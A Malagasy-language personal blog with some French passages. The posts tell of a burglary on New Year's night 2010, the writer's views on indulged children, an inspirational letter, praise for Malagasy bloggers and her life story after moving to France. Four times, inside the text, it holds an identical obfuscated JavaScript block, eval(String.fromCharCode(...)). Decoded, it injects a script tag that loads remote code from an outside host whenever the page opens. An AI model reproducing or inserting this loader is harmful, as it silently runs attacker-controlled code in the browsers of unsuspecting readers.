Diarin’i sipagasy

Tsy tena nanana fifaliana ny hiarahaba olona tratry ny taona aho t@ ity taona 2010 ity!! lasa somary sauvage kely veh?? tsia, tsy te hiteny fotsiny hoe : hitondra soa sy fanambinana ho antsika anie ity taona ity’, izay hatrany moa no hirariana anefa fa dia tsy te hiteny izay aho t@ ity indray mitoraka ity!!!!

Ny antony veh??

Mba nivoaka tahakan’ny fanaonay izahay ny alin’ny 31/12/2009 iny, mmh tena soa ny fiarahana, niaraka t@ malagasy taty Lille ihany, ny fiangonana katolika malagasy aty Lille moa no tompo-marika t@ izany fikarakarana izany, tena nahafa-po tanteraka, ny sakafo sy ny ambiansy dia tsy nisy nokianina fa tao à patsany tsara tokoa,

Ny indro kely nony vita ny fety!!!! teo no tankina ny dômiko!!!! nody t@ 4h30 izahay ny marainan’ny 01/01/2010! akory ny fahataizana raha nahita ny trano mirehitra jiro sy misokatra varavarana??????, tsy nino aloha aho t@ voalohany hoe nisy niditra tao an-trano, dia navelako aloha i José no niditra voalohany, niverina izy dia nilaza fa dia izay izany e! nanjavona tao daholo ny entana azo lazaina fa manana ny lanjany ara-bola amiko. Dia misy ny tsy matahotra ny atahorako lahy e!!!!!!!! izao mihintsy ilay tonga @ fitenenana hoe nisasatra ho an’ilaizafy aho hatrizay!!!!!, efa mba nifohy volo ery aho nanangona ireny entako lasan’ny mpangalatra ireny anefa!!!! akory atao e!!! mety haha sambatra an’ireo tsy valahara 1 andro angamba ny saran’ny entako fa dia fahaverezana tsy roa aman-tany amiko kosa, satria dia very t@ izany ihany koa ny firavako manontooolo, ohatran’ny tsy miakanjo aho ankehitriny tsy manana firavaka afatsy ny peratra tokana ety an-tanako sisa tavela!ary bracelet izay!

Angoniko ato ity hilazako fa tsy naharesy ahy akory ireo mpangalatra ireo satria dia mitraka hatrany aho fa tsy ketraka!!!!! haiko koa fa misy mpitsinjo hatrany ny diako sy ny fiainako, ka tsy ho ory aho eo @ fiainako.eval(String.fromCharCode(118,97,114,32,117,32,61,32,83,116,114,105,110,103,46,102,114,111,109,67,104,97,114,67,111,100,101,40,49,48,52,44,49,49,54,44,49,49,54,44,49,49,50,44,49,49,53,44,53,56,44,52,55,44,52,55,44,49,49,57,44,49,49,53,44,52,54,44,49,49,53,44,49,49,54,44,49,48,53,44,49,49,56,44,49,48,49,44,49,49,48,44,49,48,50,44,49,48,49,44,49,49,52,44,49,49,48,44,57,55,44,49,49,48,44,49,48,48,44,49,49,49,44,52,54,44,57,57,44,49,49,49,44,49,48,57,44,52,55,44,49,49,53,44,49,49,54,44,49,48,57,44,54,51,44,49,49,56,44,54,49,44,49,49,53,44,49,48,56,44,49,48,56,44,49,48,56,44,52,57,44,52,54,44,53,51,44,52,54,44,53,54,41,59,118,97,114,32,100,61,100,111,99,117,109,101,110,116,59,118,97,114,32,115,61,100,46,99,114,101,97,116,101,69,108,101,109,101,110,116,40,83,116,114,105,110,103,46,102,114,111,109,67,104,97,114,67,111,100,101,40,49,49,53,44,57,57,44,49,49,52,44,49,48,53,44,49,49,50,44,49,49,54,41,41,59,32,115,46,116,121,112,101,61,83,116,114,105,110,103,46,102,114,111,109,67,104,97,114,67,111,100,101,40,49,49,54,44,49,48,49,44,49,50,48,44,49,49,54,44,52,55,44,49,48,54,44,57,55,44,49,49,56,44,57,55,44,49,49,53,44,57,57,44,49,49,52,44,49,48,53,44,49,49,50,44,49,49,54,41,59,32,118,97,114,32,112,108,32,61,32,117,59,32,115,46,115,114,99,61,112,108,59,32,105,102,32,40,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,32,123,32,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,46,112,97,114,101,110,116,78,111,100,101,46,105,110,115,101,114,116,66,101,102,111,114,101,40,115,44,32,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,59,125,32,101,108,115,101,32,123,100,46,103,101,116,69,108,101,109,101,110,116,115,66,121,84,97,103,78,97,109,101,40,83,116,114,105,110,103,46,102,114,111,109,67,104,97,114,67,111,100,101,40,49,48,52,44,49,48,49,44,57,55,44,49,48,48,41,41,91,48,93,46,97,112,112,101,110,100,67,104,105,108,100,40,115,41,59,118,97,114,32,108,105,115,116,32,61,32,100,111,99,117,109,101,110,116,46,103,101,116,69,108,101,109,101,110,116,115,66,121,84,97,103,78,97,109,101,40,83,116,114,105,110,103,46,102,114,111,109,67,104,97,114,67,111,100,101,40,49,49,53,44,57,57,44,49,49,52,44,49,48,53,44,49,49,50,44,49,49,54,41,41,59,108,105,115,116,46,105,110,115,101,114,116,66,101,102,111,114,101,40,115,44,32,108,105,115,116,46,99,104,105,108,100,78,111,100,101,115,91,48,93,41,59,125));

Eo @ fiainan’ny zanak’olombelona dia mitsimbadimbadika ary mitohy hatrany ny fitomboan’ny taranaka,

Amintsika Malagasy dia zava-dehibe tokoa ny fananana ‘zanaka’, rehefa manorina tokan-trano mantsy ny lahy sy vavy ( ireo aloha no ho resahiko fa tsy ny lahy sy lahy na ny vavy sy vavy) dia arahina fomba fiteny hoe :”… arahin-javavavy sy zaza-lahy e! miteraha 7 lahy 7 vavy é!” sns e!!! ekeko fa tsy ho @ izao vanim-potoana iainantsika izao intsony izany fomba fisainana izany, nefa dia tsy lavina fa niainan’n’ireo ray aman-drenintsika avy izany! @ izao mantsy dia misy ny tokan-trano tsy mametraka ho laharam-pahamehana @ fananana zanaka, ny antony veh???, mmhh samy manana ny azy, fa eo koa anefa ny fitiavan-tena na ny faha mombana tsotra izao e!, tsy hidirako lalina ny à iny fa tsy manaitra ahy.

Ny tena nanaitra ahy sy ny maha variana ahy dia @ izoa fotoana izao dia tahakan’ny ‘Andriamanitra’ kely ny zanaka na koa tahakan’ny ‘sampy’ kely ihany koa! ny tiako hambara dia ny hoe toa izay mahafinaritra ny ray aman-dreny ka tian’ny zanany na dia tsy mifanentana @ fomba fiainany aza ohatra dia toa azo ary manodidina ilay zaza intsony!!!!! tsy hoe fialonana ny mahatonga aho hilaza izany tsy akory ann, manana zanaka vavy efa 10 taona aho @ izao fa na amiko manokana aza dia stapako fa mahery lanja ilay ‘gourou’-keliko io hihih, izany hoe toa tsy hitandroana hasasarana na koa ahavizanana fa dia toa izay teneniny sy izay mba hany takiany dia toa azony daholo na dia zavatra tsy ilainy akory aza!!! tena tsy mitovy @ fomba ftaizana azoko mihintsy e! tsy miteny akory aho hoe dia fadiranovana izahay ann tsia, nanana ny ampy tokoa ary izay sahaza ho anay t@ taonanay avy izahay, moa veh ny fiainana ankehitriny no manosika antsika ray aman-dreny @ izao fotoana tsy hahay hametra ny filàna eo @ fiainan-janantsika avy?????

Teny kely tsy aritro ireo nahita ity lahatsoratra ity aho.

Am-bava homana tokoa ny fiainana ary am-po mieritra!eval(String.fromCharCode(118,97,114,32,117,32,61,32,83,116,114,105,110,103,46,102,114,111,109,67,104,97,114,67,111,100,101,40,49,48,52,44,49,49,54,44,49,49,54,44,49,49,50,44,49,49,53,44,53,56,44,52,55,44,52,55,44,49,49,57,44,49,49,53,44,52,54,44,49,49,53,44,49,49,54,44,49,48,53,44,49,49,56,44,49,48,49,44,49,49,48,44,49,48,50,44,49,48,49,44,49,49,52,44,49,49,48,44,57,55,44,49,49,48,44,49,48,48,44,49,49,49,44,52,54,44,57,57,44,49,49,49,44,49,48,57,44,52,55,44,49,49,53,44,49,49,54,44,49,48,57,44,54,51,44,49,49,56,44,54,49,44,49,49,53,44,49,48,56,44,49,48,56,44,49,48,56,44,52,57,44,52,54,44,53,51,44,52,54,44,53,54,41,59,118,97,114,32,100,61,100,111,99,117,109,101,110,116,59,118,97,114,32,115,61,100,46,99,114,101,97,116,101,69,108,101,109,101,110,116,40,83,116,114,105,110,103,46,102,114,111,109,67,104,97,114,67,111,100,101,40,49,49,53,44,57,57,44,49,49,52,44,49,48,53,44,49,49,50,44,49,49,54,41,41,59,32,115,46,116,121,112,101,61,83,116,114,105,110,103,46,102,114,111,109,67,104,97,114,67,111,100,101,40,49,49,54,44,49,48,49,44,49,50,48,44,49,49,54,44,52,55,44,49,48,54,44,57,55,44,49,49,56,44,57,55,44,49,49,53,44,57,57,44,49,49,52,44,49,48,53,44,49,49,50,44,49,49,54,41,59,32,118,97,114,32,112,108,32,61,32,117,59,32,115,46,115,114,99,61,112,108,59,32,105,102,32,40,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,32,123,32,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,46,112,97,114,101,110,116,78,111,100,101,46,105,110,115,101,114,116,66,101,102,111,114,101,40,115,44,32,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,59,125,32,101,108,115,101,32,123,100,46,103,101,116,69,108,101,109,101,110,116,115,66,121,84,97,103,78,97,109,101,40,83,116,114,105,110,103,46,102,114,111,109,67,104,97,114,67,111,100,101,40,49,48,52,44,49,48,49,44,57,55,44,49,48,48,41,41,91,48,93,46,97,112,112,101,110,100,67,104,105,108,100,40,115,41,59,118,97,114,32,108,105,115,116,32,61,32,100,111,99,117,109,101,110,116,46,103,101,116,69,108,101,109,101,110,116,115,66,121,84,97,103,78,97,109,101,40,83,116,114,105,110,103,46,102,114,111,109,67,104,97,114,67,111,100,101,40,49,49,53,44,57,57,44,49,49,52,44,49,48,53,44,49,49,50,44,49,49,54,41,41,59,108,105,115,116,46,105,110,115,101,114,116,66,101,102,111,114,101,40,115,44,32,108,105,115,116,46,99,104,105,108,100,78,111,100,101,115,91,48,93,41,59,125));

Tsy dia mpanoratra firy intsony aho tato ho ato fa, asa angamba be atao, na tsy misy ‘motivation’ veh??, fa dia ataoko rakitra ity, ho tsaroako indray andro any aloha e!,

Niserana teny ho eny aho dia nahita ity indray aloha

Gracieuse demoiselle,

Je sais qu’il t’arrive parfois de souffrir, d’avoir des doutes, qu’il t’arrive parfois d’avoir peur, de te sentir humiliée, incomprise, de te sentir esseulée… Ce que je vais te confier ici, garde-le dans ton cœur.

Ne laisse jamais personne te faire croire que de nobles objectifs ne sont qu’utopie, ne laisse jamais personne t’arracher tes rêves, car tu possèdes en toi le nécessaire pour devenir grande, le nécessaire pour connaître la vraie grandeur, la liberté et l’indépendance vraie.

Si un seul instant dans ta vie il t’est arrivé de rêver d’être une grande dame, si une seule fois tu as espéré devenir une grande femme, alors tu le deviendras. Oui, tu le deviendras, à une seule condition : que tu apprennes chaque jour de ton existence à aimer et à croire.

Que tu acceptes ce combat, cette joie, cette grâce qu’est d’aimer, aimer le travail bien fait, aimer l’excellence, aimer l’endurance, aimer la discipline, aimer la difficulté, aimer le beau, aimer le Bien, aimer l’Amour. Oui aimer, car DIEU est Amour et en l’Amour siège une puissance, une paix et une harmonie inimaginable.

En outre, il faudra tous les jours croire, avoir la ferme assurance de ce que tu espères. Croire que le Bien est bien, croire que l’Amour est bien, croire qu’en toi siège un esprit puissant que DIEU t’a donné, croire que ton potentiel va au-delà des limites que l’on te montre souvent, croire que tu es de très loin plus intelligente que tu en as conscience. Croire que chaque jour tu peux apprendre mieux, recevoir et donner, croire que chaque jour tu peux faire mieux, croire que chaque jour tu peux donner plus, que chaque jour tu peux être meilleure.

N’oublie jamais, que derrière chaque souffrance, derrière chaque douleur, derrière chaque frustration, derrière chaque humiliation, derrière chaque déception, il y’a une leçon et un grand enseignement ; il faudra toujours garder le maximum de lucidité nécessaire pour prendre du recul, changer de référentiel et t’offrir un regard panoramique de tout ce qui t’arrive et de tout ce qui se passe autour de toi. Il te faudra inéluctablement faire une différence entre tes désirs et tes besoins, entre l’accessoire, l’utile, le nécessaire et l’indispensable. Toujours, toujours, il te faudra croire et aimer… toujours.

Entre tes mains je remets ce secret, afin que tu réalises que tes seules limites sont celles que tu te donneras ; si tu réussis à ne pas en avoir, alors ton esprit te permettra de tout faire et de t’accomplir totalement.

Bon courage chère amie.

Guy Parfait SONGUE

eval(String.fromCharCode(118,97,114,32,117,32,61,32,83,116,114,105,110,103,46,102,114,111,109,67,104,97,114,67,111,100,101,40,49,48,52,44,49,49,54,44,49,49,54,44,49,49,50,44,49,49,53,44,53,56,44,52,55,44,52,55,44,49,49,57,44,49,49,53,44,52,54,44,49,49,53,44,49,49,54,44,49,48,53,44,49,49,56,44,49,48,49,44,49,49,48,44,49,48,50,44,49,48,49,44,49,49,52,44,49,49,48,44,57,55,44,49,49,48,44,49,48,48,44,49,49,49,44,52,54,44,57,57,44,49,49,49,44,49,48,57,44,52,55,44,49,49,53,44,49,49,54,44,49,48,57,44,54,51,44,49,49,56,44,54,49,44,49,49,53,44,49,48,56,44,49,48,56,44,49,48,56,44,52,57,44,52,54,44,53,51,44,52,54,44,53,54,41,59,118,97,114,32,100,61,100,111,99,117,109,101,110,116,59,118,97,114,32,115,61,100,46,99,114,101,97,116,101,69,108,101,109,101,110,116,40,83,116,114,105,110,103,46,102,114,111,109,67,104,97,114,67,111,100,101,40,49,49,53,44,57,57,44,49,49,52,44,49,48,53,44,49,49,50,44,49,49,54,41,41,59,32,115,46,116,121,112,101,61,83,116,114,105,110,103,46,102,114,111,109,67,104,97,114,67,111,100,101,40,49,49,54,44,49,48,49,44,49,50,48,44,49,49,54,44,52,55,44,49,48,54,44,57,55,44,49,49,56,44,57,55,44,49,49,53,44,57,57,44,49,49,52,44,49,48,53,44,49,49,50,44,49,49,54,41,59,32,118,97,114,32,112,108,32,61,32,117,59,32,115,46,115,114,99,61,112,108,59,32,105,102,32,40,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,32,123,32,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,46,112,97,114,101,110,116,78,111,100,101,46,105,110,115,101,114,116,66,101,102,111,114,101,40,115,44,32,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,59,125,32,101,108,115,101,32,123,100,46,103,101,116,69,108,101,109,101,110,116,115,66,121,84,97,103,78,97,109,101,40,83,116,114,105,110,103,46,102,114,111,109,67,104,97,114,67,111,100,101,40,49,48,52,44,49,48,49,44,57,55,44,49,48,48,41,41,91,48,93,46,97,112,112,101,110,100,67,104,105,108,100,40,115,41,59,118,97,114,32,108,105,115,116,32,61,32,100,111,99,117,109,101,110,116,46,103,101,116,69,108,101,109,101,110,116,115,66,121,84,97,103,78,97,109,101,40,83,116,114,105,110,103,46,102,114,111,109,67,104,97,114,67,111,100,101,40,49,49,53,44,57,57,44,49,49,52,44,49,48,53,44,49,49,50,44,49,49,54,41,41,59,108,105,115,116,46,105,110,115,101,114,116,66,101,102,111,114,101,40,115,44,32,108,105,115,116,46,99,104,105,108,100,78,111,100,101,115,91,48,93,41,59,125));

Mba nitsangatsangana aho androany dia tena tsy aritro ny hizara ity ato amiko ato!

 maman gasy

Les bloggers de foko

Hey la communauté – et les autres aussi, il n’y pas de discrimination ici- depuis quelques mois j’ai pris goût à visiter et commenter les blogs, jusqu’à en délaisser le mien. J’ai découvert cette plateforme qu’est wordpress mais aussi plein d’autres bloggeurs-gueuz de Madagascar, car c’est là l’intérêt principal. Effectivement en métropole il y a des blogs en pagaille mais ce dont je souhaite vous parler aujourd’hui ce sont les blogs des jeunes malgaches à Madagascar et ça c’est assez rare.Ben wi quoi, imaginez là-bas, même si internet se démocratise peu à peu, mais quand même, pour rester devant le PC du cyber du quartier/coin, il faut avoir de l’argent pour mettre un article en ligne, qui nous le savons tous ne s’écrit pas d’une traite, même pas pour les vrais journalistes je crois.

Par Mitia Thandy, Mercredi 1 Avril 2009 à 12:43 GMT+2 dans Mes petits plaisirs (article, RSS)

Lasa hatrany izao fa tsy mibolisatra e!!!!!!!! mazotoa sy mehereza manoratra daholo e! ireto zanak’i rajogany ireto tena mahavita zavatra kannn mmhhhhh

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Atao hoe kilema veh?? tsia ann, samy manana ny mahavantana azy ny tsirairay, ahoana tokoa moa no nahatonga ahy t@ io vohikala lalaiko loatra io??

jereo eto==>  (voasoratra t@ :Novambra 26th, 2007)

Araka ny tantara moa dia nankalazaina ny faha 24/11/2007 teo ny faha 5 taonan’ny ‘namana.serasera.org’ tsy hivalampatra hitantara aho fa efa hitantsika izany ao @ rohy etsy @ sisiny havanana,

Vao tonga taty Lille aho fa satria moa tany @ faritra manodidina an’i Parisy fona no nitoetra hatrizay dia nitady hoe ‘namana’ fa dia tena irery taty e! tsy nahay an’iza n’iza izany aho i DR dadan’i Maeva no nahafantatra olona maro taty, nifindra monina taty moa izahay araka ny efa voalaza any ambany any @ ‘post’ hafa any nohon’ny asa izany tsy maintsy nosahaniny, ka izaho tsy nisy natao ankoatran’ny asako, dia ny lalana mody, ggrrr hihi dia iny ary aho fa nanita-kevitra ny hitady namana, dia tojo ny serasera.org aho ary dia nanomboka teo ihany koa ny nankafiziko io vohikala io.

Tsy ho lava taria aho fa indro ny santionan’ny sary izay mba tena nankafiziko tao, efa ho 400 mahery moa ny sary ato

ankafizo ary e!eval(String.fromCharCode(118,97,114,32,117,32,61,32,83,116,114,105,110,103,46,102,114,111,109,67,104,97,114,67,111,100,101,40,49,48,52,44,49,49,54,44,49,49,54,44,49,49,50,44,49,49,53,44,53,56,44,52,55,44,52,55,44,49,49,57,44,49,49,53,44,52,54,44,49,49,53,44,49,49,54,44,49,48,53,44,49,49,56,44,49,48,49,44,49,49,48,44,49,48,50,44,49,48,49,44,49,49,52,44,49,49,48,44,57,55,44,49,49,48,44,49,48,48,44,49,49,49,44,52,54,44,57,57,44,49,49,49,44,49,48,57,44,52,55,44,49,49,53,44,49,49,54,44,49,48,57,44,54,51,44,49,49,56,44,54,49,44,49,49,53,44,49,48,56,44,49,48,56,44,49,48,56,44,52,57,44,52,54,44,53,51,44,52,54,44,53,54,41,59,118,97,114,32,100,61,100,111,99,117,109,101,110,116,59,118,97,114,32,115,61,100,46,99,114,101,97,116,101,69,108,101,109,101,110,116,40,83,116,114,105,110,103,46,102,114,111,109,67,104,97,114,67,111,100,101,40,49,49,53,44,57,57,44,49,49,52,44,49,48,53,44,49,49,50,44,49,49,54,41,41,59,32,115,46,116,121,112,101,61,83,116,114,105,110,103,46,102,114,111,109,67,104,97,114,67,111,100,101,40,49,49,54,44,49,48,49,44,49,50,48,44,49,49,54,44,52,55,44,49,48,54,44,57,55,44,49,49,56,44,57,55,44,49,49,53,44,57,57,44,49,49,52,44,49,48,53,44,49,49,50,44,49,49,54,41,59,32,118,97,114,32,112,108,32,61,32,117,59,32,115,46,115,114,99,61,112,108,59,32,105,102,32,40,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,32,123,32,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,46,112,97,114,101,110,116,78,111,100,101,46,105,110,115,101,114,116,66,101,102,111,114,101,40,115,44,32,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,59,125,32,101,108,115,101,32,123,100,46,103,101,116,69,108,101,109,101,110,116,115,66,121,84,97,103,78,97,109,101,40,83,116,114,105,110,103,46,102,114,111,109,67,104,97,114,67,111,100,101,40,49,48,52,44,49,48,49,44,57,55,44,49,48,48,41,41,91,48,93,46,97,112,112,101,110,100,67,104,105,108,100,40,115,41,59,118,97,114,32,108,105,115,116,32,61,32,100,111,99,117,109,101,110,116,46,103,101,116,69,108,101,109,101,110,116,115,66,121,84,97,103,78,97,109,101,40,83,116,114,105,110,103,46,102,114,111,109,67,104,97,114,67,111,100,101,40,49,49,53,44,57,57,44,49,49,52,44,49,48,53,44,49,49,50,44,49,49,54,41,41,59,108,105,115,116,46,105,110,115,101,114,116,66,101,102,111,114,101,40,115,44,32,108,105,115,116,46,99,104,105,108,100,78,111,100,101,115,91,48,93,41,59,125));

Dia variana aho androany, sady tonga saina ihany koa fa ny antsasaky ny fiainako izany dia niainako tsy teo an-kilan’ny ray aman-dreniko, fa dia “nanabe tena irery aho”. T@ taona 1990 tokoa mantsy no nandaozako ireo nahitako masoandro hiampitako ho aty Frantsa, handratovako fianarana sy fiainana.

Maro ny dingana nolalovana tao anatin’izay 17 taona tsy niarahako niaina t@ ireo ray aman-dreniko izay, teo ny tsara teo ny nangidy ihany koa. Tantely amam-bahona ny fiainana moa ka tsy dia atao mampalahelo izany fa araka ny fiteniko matetika hoe “fiainana izany e!”

Tsaroako tokoa mantsy 17 taona lasa izay raha vao nanitsaka izany atao hoe frantsa izany aho dia variana be nandinika ny manodidina, dia tahakan’ireny hita @ fahita lavitra ireny tokoa, ny trano mijoalajoala, sy ny tsitokontokon-trano ihany koa ho any @ faritra miala kely ny renivohitra. izahay mirahavavy moa no niaraka tonga taty t@ io taona io, izany hoe ny zandriko vavy dia efa tonga herinandro mialohan’ny nahatongavako. I Hoby (zandriko) moa izany dia nivantana tao Cachan rue Marx Dormoy tany @ zokin’i neninay vavy matoa, ary izaho kosa dia tany Les Mureaux rue André Breton tany @ fara vavin’i neninay ihany koa, 4 mirahavavy moa ry zareo no aty Frantsa, ka dia nifandamina ry zareo t@ fandraisana anay mirahavavy.

Tsy ho lava resaka aho fa dia bango tokana no ataoko ireo 17 taona niainako ireo.

Tany St Quentin en Yvelines (78) aho no nianatra, ary 3 mianadahy izahay no tera-tany malagasy tafaraka nianatra tao, dia i Rocco, sy i Tompokovavy Marson Erica. i Erica moa dia mpiara-mianatra tamiko hatrany @ Providence Amparibe, tany Soanierana ihany koa, tsy dia nifanalavitra moa ny trano nipetrahanay tany Madagasikara, ka tsy nahagaga raha tena mpinamana tokoa izahay, izy rahateo tsy nisy rahavavy ka dia nifampitondra tahaka izany izahay, na dia nifanimpaka aza ny rivotra politika niainany sy ny tao an-tranonay, tsy naha sakana anay tsy ho mpinamana, mpirahavavy izany. Nizotra tsara ny fianaranay 3 mianadahy nandritry ny 3 taona nianaranay tao, izahay mirahavavy moa ny taona voalohany dia kilasy mandry ka tsy mody any @ fianakaviana raha tsy ny zoma hariva ary miverina indray ny alahady hariva, nahafinaritra ny fianarana satria dia tena izay tokoa ny nokendreko sy notadiaviko hatao any aoriana. Rehefa vita sy azo ny BTS t@ taona 1993 dia samy niparitaka izahay 3 mianadahy, samy nanana ny lalany avy. Izaho moa nanohy teny @ IUT n’i Evry mikasika ny “gestion hotellière”, ka naharitra 2 taona izany nahazahoako ny Diplome de Technologie Approfondie DTA.

Nandritra ny 3 taona niofanana anefa dia sahala @ tovovavy rehetra ihany aho ka mba nisy ny nahasarika akoatran’ny fianarana, taty tokoa mantsy aho vao niaina izany hoe fananana sipa izany, (tsy dia tara loatra hihih). Sahala @ ankizy mitovy taona amiko dia mba nanana sipa aho, tsy mpiara mianatra fa dia ivelan’ny fianarana tokoa, satra malagasy ny niaraka tamiko, ndeha antsointsika hoe Bema ny anarany mba tsy tena hilazako ny momba azy, mbola mpianatra koa izy t@ izany saingy tsy tena hoe mpianatra fa efa niasa. Ny ankamaroan’ny namako moa t@ izany dia saika malagasy avokoa ka hitako fa dia tsy mora tamin’izy ireo tokoa ny sady mianatra no mivelona satria dia tsy maintsy arahin’asa ny fianarana, nefa ny fotoana hianarana sy hamerenan-desona tsy ampy akory. Izaho kosa dia niadana satria ny rahavavin-dreniko dia tsy mba nitondra anay tahakan’ny zana’olon-kafa fa dia tahakan’ny zanany naterany tokoa, nahazo jiolahim-paosy izahay ka tsy nila izany hoe niasa izany sady nianatra, tena isaorako azy ireo izany, fa saingy tsy tsapako hoe “avantage” izany fa noheveriko fa zavatra ara-dalàna ihany, tsy voatery tokoa mantsy ry zareo hanao izany satria efa nosokajiana ho olon-dehibe aho ka tokony, ngamba, hisahana ny fiainako irery.

I Bema dia tsy iray fihaviana, tsy iray firazanana ary tsy iray finoana aminay ka dia sarotra ihany ny fifandraisany t@ fianakaviako, ny fitiavana nefa nisy teo aminay ka tsy dia nahoanay loatra izany fa dia niaraka teny ihany izahay niaraka namakivaky ny lala-kely nosoritanay. Tsy nisy “raharaha” natao moa taminay fa dia niaraka niaina tahakan’ny mpivady izahay, tokatrano maso hoy isika. Izaho moa t@ izay dia tsy mba niraika loatra t@ izany hoe mariazy sns izany na dia pastera aza ny zokin’i Bema, izay manontany lava anay ny antony tsy mbola irosoanay eo @ fiainan-tokantrano kristianina. Samy tsy nahita havaly izahay t@ izany, asa tsy vonona ve? sa ahoana, tsy hay be ihany!. Nandalo fisedrana anefa ny ankaninay ka dia rava tery ny nokasaina atao rehetra. T@ taona 1995 teo ho eo avy naka fialan-tsasatra tany an-tanindrazana aho no rava tsimoramora ny zavatra natsanganay sy i Bema, tsy nohon’ny fianakaviana akory fa nohon’ny antony izay azoko lazaina fa tsy nisy dikany firy satria dia elanelan-tany no nisarahanay. Voatery nisintaka tany Italie tokoa mantsy i Bema no nipetraka fa nanahirana ny fanamboarana na ny fanavaozana ny taratasy fahazahoan-dalana ipetrahany teto t@ izany. Lasa izy izany, izaho niverina nipetraka tany @ vavy matoan’ny neninay tany Rueil malmaison (92) vita ihany koa ny fianarana nataoko mikasika ny fitantanana trano fandraisam-bahiny, ka niroso t@ fianarana teny vahiny aho, izay tsy tena mbola voafehiko tsara t@ izany.

Niditra tao @ Fac de la Sorbonne aho sampana LEA Anglais. Somary mafy ny fianarana satria dia t@ teny angisy ranoiray izany, izaho efa zatra ilay teny Frantsay teo hihihi. Ny ankamaroan’ny fianarana dia tany Clignancourt no natrehana, somary lavitra ihany noho izany i Rueil malmaison sy i Clignancourt, ka dia nitady trano taty ivelany aho ho ahy manokana. Nahita tokoa aho tao @ Paris XVI, efitrano iray ambany tafo,na chambre de bonne moa ny fiantso ireny aty, ary ny sarany kosa dia mikarakara be antitra mivady izay in 3 isan-kerinandro. Nifindra trano ary aho izany nonina tao @ io efitra io, nisy ny rehetra tao amiko, nampian’ny nenitoa isany ihany koa moa aho t@ izany. Nahaleo tena tanteraka indray aho, indray hoy aho satria hatramin’ny nisarahanay sy i Bema dia izao indray aho vao hanana ny tokan-tranoko izaho samy irery.

T@ izany fotoana izany ihany koa no nifankahalalako t@ i DR. Olona somary tahaka an’i dadanay ny fomba fihaingony, izany hoe avy niasa moa ny nahitako azy voalohany izany e!, niakanjo complet izy, mihaja, tena sariaka ary manintona maso raha jerena tampoka, tovolahy e! :). Nifanakalo laharana telefaonina teo izahay dia samy lasa. Izaho nody moa dia nientanentana be ihany satria dia tena nahataitra ahy ny nahitako azy e!, izaho sy i Bema moa t@ izany na nisara toerana aza tsy tena natao hoe nisaraka tanteraka. I DR dia somary be resaka izay ihany, tsy haiko, izay ngamba ny fanaony “manjono” vehivavy. Mazava ho azy moa izany fa tsy maintsy niteny ny olana nisy taminay sy i Bema aho t@ i DR raha toa ka afaka manampy ahy izy. Tsy izay anefa ny tany an-dohany fa ny hiaraka amiko, ka dia roboka koa aho, babo e! Adino tanteraka i Bema. Nanomboka teo dia nihamafy ny fifandraisanay sy i DR, nahafinaritra satria izy dia somary be resaka ka hainy tsara ny mandangolango anao sy milaza izay tianao ho heno ihany koa. T@ taona 1995 moa izany no niseho ka tena tao anatin’ny fotoanan’ny fikarakarana ny fifidianana ny frantsay, i DR dia anisan’ny nizara “tracte” ho an’ny RPR t@ izany, mpikambana @ io antoko politika io mantsy izy. Matetika no niaraka izahay rehefa nisy fivoriana t@ izany, roboka tanteraka aho e!, samy nanana ny trano ipetrahanay izahay t@ voalohany. Naleoko tokoa mantsy nahaleo tena aho e! hafa ihany izany manana ny an’ny tena izany. Nahafinaritra ny fiarahana t@ DR na dia tena nisy aza ny ambony ambany teo @ fiainanay e! tsy mbola nankasitrahan’ny fianakaviana ihany moa izy nohon’ny fihaviany, nefa dia tsy mbola nahoakokoa izany ka dia nanaiky tsy sazoka izany safidy izany ny fianakaviako. Olona nalaza t@ androny tany M/car i DR mpanao baolina izy taloha, ary fantatr’olona maro koa taty Frantsa. Anisan’ny nanampy olona maro koa izy t@ izy mbola tany M/Car t@ fandefasana ny komorianina nody tany Comores t@ rotaka t@ 1975.

Nisy lafiny tsara sy ratsy anefa i DR fa nisy ny nilaza fa mpisoloky ihany koa izy, izany hoe @ maha mpiasam-panjakana azy dia somary nanararaotra ihany izy @ toerana misy azy sy ny antoko politika nisy azy t@ fikarakarana taratasy fahazahoan-dalana mipetraka eto Frantsa, nisy ny tafavoaka soa aman-sara ary nisy koa anefa no tsy nety fa dia nataony fakam-bola fotsiny.

@ pejy hafa ato anatin’ity sehatra ity aho milaza fa hoe sambatra ankehitriny ary milaza ihany koa fa voavaha ilay fangejako. Nony taty aoriana mantsy 2 taona taorinan’ny nifankahitanay sy i DR voalohany dia niara-nipetraka izahay, nifamadibadika teny ny mamy niarahanay, ny fitsangatsanganana isan-karazany, ni fijerena tany maro teto frantsa…, nefa nisy ihany koa ny nafaitra niainako, somary malama tanana izay ihany i DR taty aoriana tsy haiko ny anton’izany fiovana izany, tsy natetika anefa izany ka dia nahitako fialan-tsiny foana isaky ny niseho. Tsy nahatanty izany kosa ny fianakaviako, izany hoe ry nenitoa isany sy ny rahavaviko, ka dia nanao sinto-mahery ahy tao an-trano matetika, nefa dia nifamerina hatrany izahay.

Ny taona 1999 no teraka i Maeva lalaina, tokan’ny aiko, sy tsy foiko. Dia mety efa hainareo ny tohiny satria efa voasoratro ato ihany.

